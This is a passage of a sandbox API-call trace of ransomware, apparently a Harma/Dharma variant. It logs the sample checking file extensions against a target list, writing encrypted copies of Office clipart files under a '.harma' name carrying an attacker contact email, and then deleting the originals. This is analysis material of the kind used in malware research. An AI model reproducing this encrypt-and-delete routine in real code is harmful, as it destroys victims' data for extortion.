[0139.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0139.392] lstrlenW (lpString=".dbf") returned 4 [0139.392] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0139.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0139.392] lstrlenW (lpString=".1cd") returned 4 [0139.392] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0139.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0139.392] lstrlenW (lpString=".jpg") returned 4 [0139.392] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0139.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0139.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0139.392] lstrlenW (lpString=".doc") returned 4 [0139.392] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0139.392] lstrlenW (lpString=".docx") returned 5 [0139.392] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0139.392] lstrlenW (lpString=".pdf") returned 4 [0139.392] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0139.392] lstrlenW (lpString=".xls") returned 4 [0139.392] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0139.392] lstrlenW (lpString=".xlsx") returned 5 [0139.392] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0139.392] lstrlenW (lpString=".ppt") returned 4 [0139.392] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0139.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0139.392] lstrlenW (lpString=".zip") returned 4 [0139.392] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0139.393] lstrlenW (lpString=".rar") returned 4 [0139.393] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0139.393] lstrlenW (lpString=".bz2") returned 4 [0139.393] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0139.393] lstrlenW (lpString=".7z") returned 3 [0139.393] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0139.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0139.393] lstrlenW (lpString=".dbf") returned 4 [0139.393] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0139.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0139.393] lstrlenW (lpString=".1cd") returned 4 [0139.393] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0139.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0139.393] lstrlenW (lpString=".jpg") returned 4 [0139.393] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0139.539] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0139.539] lstrlenW (lpString="HTECH_01.MID") returned 12 [0139.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0140.233] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=7178) returned 1 [0140.233] CloseHandle (hObject=0x328) returned 1 [0140.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 0x20 [0140.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0140.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.373] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0140.374] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0140.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0140.376] GetLastError () returned 0x0 [0140.376] ReadFile (in: hFile=0x350, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x1c0a, lpOverlapped=0x0) returned 1 [0140.617] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0140.618] ReadFile (in: hFile=0x350, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0140.618] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.618] SetEndOfFile (hFile=0x210) returned 1 [0141.078] CloseHandle (hObject=0x210) returned 1 [0141.294] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0141.294] SetEndOfFile (hFile=0x350) returned 1 [0141.583] CloseHandle (hObject=0x350) returned 1 [0141.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0141.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 1 [0141.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0141.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0141.728] lstrlenW (lpString=".doc") returned 4 [0141.728] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0141.728] lstrlenW (lpString=".docx") returned 5 [0141.728] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0141.728] lstrlenW (lpString=".pdf") returned 4 [0141.728] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0141.728] lstrlenW (lpString=".xls") returned 4 [0141.729] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0141.729] lstrlenW (lpString=".xlsx") returned 5 [0141.729] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0141.729] lstrlenW (lpString=".ppt") returned 4 [0141.729] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0141.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0141.729] lstrlenW (lpString=".zip") returned 4 [0141.729] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0141.729] lstrlenW (lpString=".rar") returned 4 [0141.729] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0141.729] lstrlenW (lpString=".bz2") returned 4 [0141.729] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0141.729] lstrlenW (lpString=".7z") returned 3 [0141.729] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0141.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0141.729] lstrlenW (lpString=".dbf") returned 4 [0141.729] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0141.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0141.729] lstrlenW (lpString=".1cd") returned 4 [0141.729] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0141.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0141.729] lstrlenW (lpString=".jpg") returned 4 [0141.729] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0141.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0141.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0141.730] lstrlenW (lpString=".doc") returned 4 [0141.730] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0141.730] lstrlenW (lpString=".docx") returned 5 [0141.730] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0141.730] lstrlenW (lpString=".pdf") returned 4 [0141.730] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0141.730] lstrlenW (lpString=".xls") returned 4 [0141.730] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0141.730] lstrlenW (lpString=".xlsx") returned 5 [0141.730] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0141.730] lstrlenW (lpString=".ppt") returned 4 [0141.730] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0141.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0141.730] lstrlenW (lpString=".zip") returned 4 [0141.730] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0141.730] lstrlenW (lpString=".rar") returned 4 [0141.730] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0141.730] lstrlenW (lpString=".bz2") returned 4 [0141.730] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0141.730] lstrlenW (lpString=".7z") returned 3 [0141.730] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0141.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0141.731] lstrlenW (lpString=".dbf") returned 4 [0141.731] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0141.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0141.731] lstrlenW (lpString=".1cd") returned 4 [0141.731] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0141.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0141.731] lstrlenW (lpString=".jpg") returned 4 [0141.731] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0141.731] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0141.731] lstrlenW (lpString="MUSIC_01.MID") returned 12 [0141.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0142.027] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=6880) returned 1 [0142.027] CloseHandle (hObject=0x210) returned 1 [0142.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 0x20 [0142.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0142.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0142.432] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0142.432] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0142.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0143.139] GetLastError () returned 0x0 [0143.139] ReadFile (in: hFile=0x350, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x1ae0, lpOverlapped=0x0) returned 1 [0143.141] WriteFile (in: hFile=0x330, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x1af0, lpOverlapped=0x0) returned 1 [0143.142] ReadFile (in: hFile=0x350, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0143.142] WriteFile (in: hFile=0x330, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.142] SetEndOfFile (hFile=0x330) returned 1 [0143.142] CloseHandle (hObject=0x330) returned 1 [0143.143] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.143] SetEndOfFile (hFile=0x350) returned 1 [0143.145] CloseHandle (hObject=0x350) returned 1 [0143.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 1 [0143.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0143.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0143.156] lstrlenW (lpString=".doc") returned 4 [0143.156] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.156] lstrlenW (lpString=".docx") returned 5 [0143.156] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.156] lstrlenW (lpString=".pdf") returned 4 [0143.156] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.156] lstrlenW (lpString=".xls") returned 4 [0143.156] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.156] lstrlenW (lpString=".xlsx") returned 5 [0143.156] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.156] lstrlenW (lpString=".ppt") returned 4 [0143.156] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0143.156] lstrlenW (lpString=".zip") returned 4 [0143.156] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.156] lstrlenW (lpString=".rar") returned 4 [0143.156] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.156] lstrlenW (lpString=".bz2") returned 4 [0143.156] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.156] lstrlenW (lpString=".7z") returned 3 [0143.156] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0143.156] lstrlenW (lpString=".dbf") returned 4 [0143.156] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0143.156] lstrlenW (lpString=".1cd") returned 4 [0143.156] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0143.156] lstrlenW (lpString=".jpg") returned 4 [0143.156] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0143.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0143.157] lstrlenW (lpString=".doc") returned 4 [0143.157] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.157] lstrlenW (lpString=".docx") returned 5 [0143.157] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.157] lstrlenW (lpString=".pdf") returned 4 [0143.157] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.157] lstrlenW (lpString=".xls") returned 4 [0143.157] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.157] lstrlenW (lpString=".xlsx") returned 5 [0143.157] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.157] lstrlenW (lpString=".ppt") returned 4 [0143.157] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0143.157] lstrlenW (lpString=".zip") returned 4 [0143.157] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.157] lstrlenW (lpString=".rar") returned 4 [0143.157] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.157] lstrlenW (lpString=".bz2") returned 4 [0143.157] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.157] lstrlenW (lpString=".7z") returned 3 [0143.157] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0143.157] lstrlenW (lpString=".dbf") returned 4 [0143.157] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0143.158] lstrlenW (lpString=".1cd") returned 4 [0143.158] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0143.158] lstrlenW (lpString=".jpg") returned 4 [0143.158] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.158] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0143.158] lstrlenW (lpString="PARNT_08.MID") returned 12 [0143.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0143.159] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=7347) returned 1 [0143.159] CloseHandle (hObject=0x350) returned 1 [0143.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 0x20 [0143.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0143.159] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.159] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0143.160] GetLastError () returned 0x0 [0143.160] ReadFile (in: hFile=0x350, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x1cb3, lpOverlapped=0x0) returned 1 [0143.162] WriteFile (in: hFile=0x330, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x1cc0, lpOverlapped=0x0) returned 1 [0143.163] ReadFile (in: hFile=0x350, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0143.163] WriteFile (in: hFile=0x330, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.163] SetEndOfFile (hFile=0x330) returned 1 [0143.163] CloseHandle (hObject=0x330) returned 1 [0143.163] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.163] SetEndOfFile (hFile=0x350) returned 1 [0143.166] CloseHandle (hObject=0x350) returned 1 [0143.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 1 [0143.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0143.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0143.167] lstrlenW (lpString=".doc") returned 4 [0143.167] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.167] lstrlenW (lpString=".docx") returned 5 [0143.167] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0143.167] lstrlenW (lpString=".pdf") returned 4 [0143.167] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.167] lstrlenW (lpString=".xls") returned 4 [0143.167] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.167] lstrlenW (lpString=".xlsx") returned 5 [0143.167] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0143.167] lstrlenW (lpString=".ppt") returned 4 [0143.167] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0143.167] lstrlenW (lpString=".zip") returned 4 [0143.168] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.168] lstrlenW (lpString=".rar") returned 4 [0143.168] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.168] lstrlenW (lpString=".bz2") returned 4 [0143.168] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.168] lstrlenW (lpString=".7z") returned 3 [0143.168] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0143.168] lstrlenW (lpString=".dbf") returned 4 [0143.168] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0143.168] lstrlenW (lpString=".1cd") returned 4 [0143.168] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0143.168] lstrlenW (lpString=".jpg") returned 4 [0143.168] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0143.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0143.168] lstrlenW (lpString=".doc") 